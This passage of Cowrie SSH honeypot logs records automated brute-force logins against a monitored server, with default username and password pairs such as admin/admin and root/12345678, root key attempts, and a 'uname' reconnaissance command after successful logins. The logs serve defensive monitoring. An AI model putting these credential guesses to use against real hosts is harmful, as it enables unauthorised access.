sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:45.164061Z","src_ip":"45.156.87.253","session":"67201942e565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:45.406046Z","src_ip":"45.156.87.253","session":"67201942e565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:46.490046Z","src_ip":"45.156.87.253","session":"67201942e565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37900,"dst_ip":"10.17.0.5","dst_port":22,"session":"25dae3112536","protocol":"ssh","message":"New connection: 45.156.87.253:37900 (10.17.0.5:22) [session: 25dae3112536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:48.407799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:48.411096Z","src_ip":"45.156.87.253","session":"25dae3112536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:48.491139Z","src_ip":"45.156.87.253","session":"25dae3112536","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:48.732330Z","src_ip":"45.156.87.253","session":"25dae3112536","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:48.936836Z","src_ip":"45.156.87.253","session":"25dae3112536","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:48.939550Z","src_ip":"45.156.87.253","session":"25dae3112536","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:49.024076Z","src_ip":"45.156.87.253","session":"25dae3112536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:49.028425Z","src_ip":"45.156.87.253","session":"25dae3112536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45290,"dst_ip":"10.17.0.5","dst_port":22,"session":"400599780b3b","protocol":"ssh","message":"New connection: 45.156.87.253:45290 (10.17.0.5:22) [session: 400599780b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:51.831154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:51.835219Z","src_ip":"45.156.87.253","session":"400599780b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:51.915895Z","src_ip":"45.156.87.253","session":"400599780b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":40950,"dst_ip":"159.203.135.109","dst_port":22,"session":"d20e2af2ae4e","protocol":"ssh","message":"New connection: 139.19.117.129:40950 (159.203.135.109:22) [session: d20e2af2ae4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:51.941540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:51.946277Z","src_ip":"139.19.117.129","session":"d20e2af2ae4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:52.036379Z","src_ip":"139.19.117.129","session":"d20e2af2ae4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:52.158474Z","src_ip":"45.156.87.253","session":"400599780b3b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:1d:44:f5:a2:2f:53:f8:2e:7e:22:81:38:be:8d:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAau2mZxcDysZBuP5Gy4vmfne6U5T/oMXnwD7ORTYrzIBAdbBb6fKGjrNNccHk6wQF/gu9JIcG2xSujh2y4FOcjXDZ1FdfaYUGrGGYRvTfKzJzDgYxhXoxSd/LdlYQRT28/qk/JaoaLwIQPxc+ndK65D45rxx1X3+fAg0uupRyhhEHMmspghXBZnNt+FS/oP/1Dp0KLC7epzY/V4H13i378d9vEUazxFpFKNxywZoO1q3m0c6B98ClDkR75SljK4fdzNb5oKcfK7mYadTZ86LFcZcOQNBZIHw1kkbGHYSpqfF0llKIzJwFzZh3V1DvxVn+AALP/l+iFHvyq1QcFxTxG2KFxuu3POPXadM8Kt1W8NpdFyUNDyWC9uVYoTNvlQC4cybCwZylz0jMBBhU2pRYUAIVTPiinZ9zSEpVCd9yjguEJEI+z1OLDVYTwk7sTRWOuz63k50H0G2wh0seW5X0W4oOMgZ76kaeNnG9J0CKWObYRpFx7sBt74r2WgtF6yk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:1d:44:f5:a2:2f:53:f8:2e:7e:22:81:38:be:8d:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:52.217251Z","src_ip":"139.19.117.129","session":"d20e2af2ae4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:1d:44:f5:a2:2f:53:f8:2e:7e:22:81:38:be:8d:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAau2mZxcDysZBuP5Gy4vmfne6U5T/oMXnwD7ORTYrzIBAdbBb6fKGjrNNccHk6wQF/gu9JIcG2xSujh2y4FOcjXDZ1FdfaYUGrGGYRvTfKzJzDgYxhXoxSd/LdlYQRT28/qk/JaoaLwIQPxc+ndK65D45rxx1X3+fAg0uupRyhhEHMmspghXBZnNt+FS/oP/1Dp0KLC7epzY/V4H13i378d9vEUazxFpFKNxywZoO1q3m0c6B98ClDkR75SljK4fdzNb5oKcfK7mYadTZ86LFcZcOQNBZIHw1kkbGHYSpqfF0llKIzJwFzZh3V1DvxVn+AALP/l+iFHvyq1QcFxTxG2KFxuu3POPXadM8Kt1W8NpdFyUNDyWC9uVYoTNvlQC4cybCwZylz0jMBBhU2pRYUAIVTPiinZ9zSEpVCd9yjguEJEI+z1OLDVYTwk7sTRWOuz63k50H0G2wh0seW5X0W4oOMgZ76kaeNnG9J0CKWObYRpFx7sBt74r2WgtF6yk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:52.219876Z","src_ip":"139.19.117.129","session":"d20e2af2ae4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:1d:44:f5:a2:2f:53:f8:2e:7e:22:81:38:be:8d:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAau2mZxcDysZBuP5Gy4vmfne6U5T/oMXnwD7ORTYrzIBAdbBb6fKGjrNNccHk6wQF/gu9JIcG2xSujh2y4FOcjXDZ1FdfaYUGrGGYRvTfKzJzDgYxhXoxSd/LdlYQRT28/qk/JaoaLwIQPxc+ndK65D45rxx1X3+fAg0uupRyhhEHMmspghXBZnNt+FS/oP/1Dp0KLC7epzY/V4H13i378d9vEUazxFpFKNxywZoO1q3m0c6B98ClDkR75SljK4fdzNb5oKcfK7mYadTZ86LFcZcOQNBZIHw1kkbGHYSpqfF0llKIzJwFzZh3V1DvxVn+AALP/l+iFHvyq1QcFxTxG2KFxuu3POPXadM8Kt1W8NpdFyUNDyWC9uVYoTNvlQC4cybCwZylz0jMBBhU2pRYUAIVTPiinZ9zSEpVCd9yjguEJEI+z1OLDVYTwk7sTRWOuz63k50H0G2wh0seW5X0W4oOMgZ76kaeNnG9J0CKWObYRpFx7sBt74r2WgtF6yk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:1d:44:f5:a2:2f:53:f8:2e:7e:22:81:38:be:8d:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:52.311827Z","src_ip":"139.19.117.129","session":"d20e2af2ae4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:1d:44:f5:a2:2f:53:f8:2e:7e:22:81:38:be:8d:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAau2mZxcDysZBuP5Gy4vmfne6U5T/oMXnwD7ORTYrzIBAdbBb6fKGjrNNccHk6wQF/gu9JIcG2xSujh2y4FOcjXDZ1FdfaYUGrGGYRvTfKzJzDgYxhXoxSd/LdlYQRT28/qk/JaoaLwIQPxc+ndK65D45rxx1X3+fAg0uupRyhhEHMmspghXBZnNt+FS/oP/1Dp0KLC7epzY/V4H13i378d9vEUazxFpFKNxywZoO1q3m0c6B98ClDkR75SljK4fdzNb5oKcfK7mYadTZ86LFcZcOQNBZIHw1kkbGHYSpqfF0llKIzJwFzZh3V1DvxVn+AALP/l+iFHvyq1QcFxTxG2KFxuu3POPXadM8Kt1W8NpdFyUNDyWC9uVYoTNvlQC4cybCwZylz0jMBBhU2pRYUAIVTPiinZ9zSEpVCd9yjguEJEI+z1OLDVYTwk7sTRWOuz63k50H0G2wh0seW5X0W4oOMgZ76kaeNnG9J0CKWObYRpFx7sBt74r2WgtF6yk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:52.314715Z","src_ip":"139.19.117.129","session":"d20e2af2ae4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:53.362086Z","src_ip":"45.156.87.253","session":"400599780b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45296,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec025e22c57","protocol":"ssh","message":"New connection: 45.156.87.253:45296 (10.17.0.5:22) [session: 4ec025e22c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.150160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.153840Z","src_ip":"45.156.87.253","session":"4ec025e22c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.235857Z","src_ip":"45.156.87.253","session":"4ec025e22c57","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.606933Z","src_ip":"45.156.87.253","session":"4ec025e22c57","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.905829Z","src_ip":"45.156.87.253","session":"4ec025e22c57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.908423Z","src_ip":"45.156.87.253","session":"4ec025e22c57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.994134Z","src_ip":"45.156.87.253","session":"4ec025e22c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:55.998029Z","src_ip":"45.156.87.253","session":"4ec025e22c57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45302,"dst_ip":"10.17.0.5","dst_port":22,"session":"252c16909e10","protocol":"ssh","message":"New connection: 45.156.87.253:45302 (10.17.0.5:22) [session: 252c16909e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:58.651898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:58.655843Z","src_ip":"45.156.87.253","session":"252c16909e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:58.736462Z","src_ip":"45.156.87.253","session":"252c16909e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:58.978941Z","src_ip":"45.156.87.253","session":"252c16909e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:00.062604Z","src_ip":"45.156.87.253","session":"252c16909e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:01.941865Z","src_ip":"139.19.117.129","session":"d20e2af2ae4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44200,"dst_ip":"10.17.0.5","dst_port":22,"session":"d49f11ee78b8","protocol":"ssh","message":"New connection: 45.156.87.253:44200 (10.17.0.5:22) [session: d49f11ee78b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:01.982185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:01.986417Z","src_ip":"45.156.87.253","session":"d49f11ee78b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@